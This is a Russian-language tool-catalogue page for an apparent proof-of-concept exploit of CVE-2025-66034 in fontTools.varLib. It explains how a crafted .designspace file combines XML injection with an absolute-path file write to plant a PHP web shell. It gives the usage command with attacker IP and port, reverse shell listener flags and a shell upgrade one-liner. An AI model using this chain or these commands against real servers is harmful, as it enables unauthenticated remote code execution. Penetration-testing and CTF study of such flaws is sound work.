Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-66034 — CVE-2025-66034 - fontTools varLib Произвольная запись в файл → RCE Эксплойт PoC для уязвимости произвольной записи в файл и внедрения XML в fontTools.varLib. | Kitploit
Инструменты/GitHubGitHub/4nuxd/cve-2025-66034
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHub4nuxd/cve-2025-66034

CVE-2025-66034

CVE-2025-66034 - fontTools varLib Произвольная запись в файл → RCE Эксплойт PoC для уязвимости произвольной записи в файл и внедрения XML в fontTools.varLib.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-66034 — fontTools varLib Произвольная запись файла → RCE

Эксплойт PoC для уязвимости произвольной записи файла + XML-инъекция в fontTools.varLib Протестировано на HackTheBox — VarIaType


Уязвимость

fontTools.varLib обрабатывает XML-файлы .designspace для создания вариативных шрифтов. Две уязвимости объединяются для достижения RCE без аутентификации:

#ПримитивОписание
1XML-инъекция через разделение CDATAКонтент, контролируемый атакующим внутри <labelname>, записывается дословно в тело выходного шрифта, что позволяет внедрить произвольные данные
2Произвольная запись файла через обход os.path.join()Атрибут filename у <variable-font> принимает абсолютный путь. При передаче в os.path.join() он игнорирует заданную выходную директорию и записывает в любой путь файловой системы, указанный атакующим

Объединение обоих примитивов позволяет записать PHP-веб-шелл в веб-доступный путь, достигая неаутентифицированного удаленного выполнения кода.


Использование

root@kitploit:~
python3 font_varlib.py \
  --ip <attacker-ip> \
  --port <port> \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.target.htb/public/files \
  --shell http://portal.target.htb/files

Параметры

Зависимости

root@kitploit:~
pip install requests fonttools

Как это работает

  1. Мастер-шрифты — Два минимальных .ttf файла (source-light.ttf, source-regular.ttf) генерируются с помощью fontTools.FontBuilder в качестве необходимых мастеров для designspace
  2. Вредоносный .designspace — Создается специально сформированный XML-файл, содержащий:
    • PHP веб-шелл, внедренный через разделение CDATA внутри <labelname>
    • Абсолютный путь записи, установленный как filename у <variable-font>, обходящий output_dir через os.path.join()
  3. Загрузка — .designspace + мастер-шрифты отправляются POST-запросом на конечную точку обработки
  4. Запуск — Запрошен загруженный .php файл, выполняется полезная нагрузка reverse shell

Раскрытие

Поле
CVECVE-2025-66034
Затронутый компонентfontTools.varLib
ВлияниеНеаутентифицированная произвольная запись файла → Удаленное выполнение кода
КонтекстВеб-приложение, предоставляющее конечную точку обработки шрифтов

Правовая информация

Данный инструмент предназначен только для авторизованного пентестинга и использования в CTF. Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.


автор: 4nuxd

Скачать инструмент
ФлагОписание
--ipIP атакующего для обратного вызова reverse shell
--portПорт прослушивателя
--uploadПолный URL конечной точки обработки шрифтов (POST)
--webrootАбсолютный путь на сервере, соответствующий веб-доступной директории
--shellБазовый URL, по которому будет доступен веб-шелл
--no-listenПропустить автоматический прослушиватель — вывести ручные команды
--pwncatИспользовать pwncat-cs вместо nc (предпочтительно, если доступно)
  • Обновление TTY — При подключении скрипт автоматически запускает PTY через python3 -c 'import pty; pty.spawn("/bin/bash")' и устанавливает TERM + stty для полноценного интерактивного shell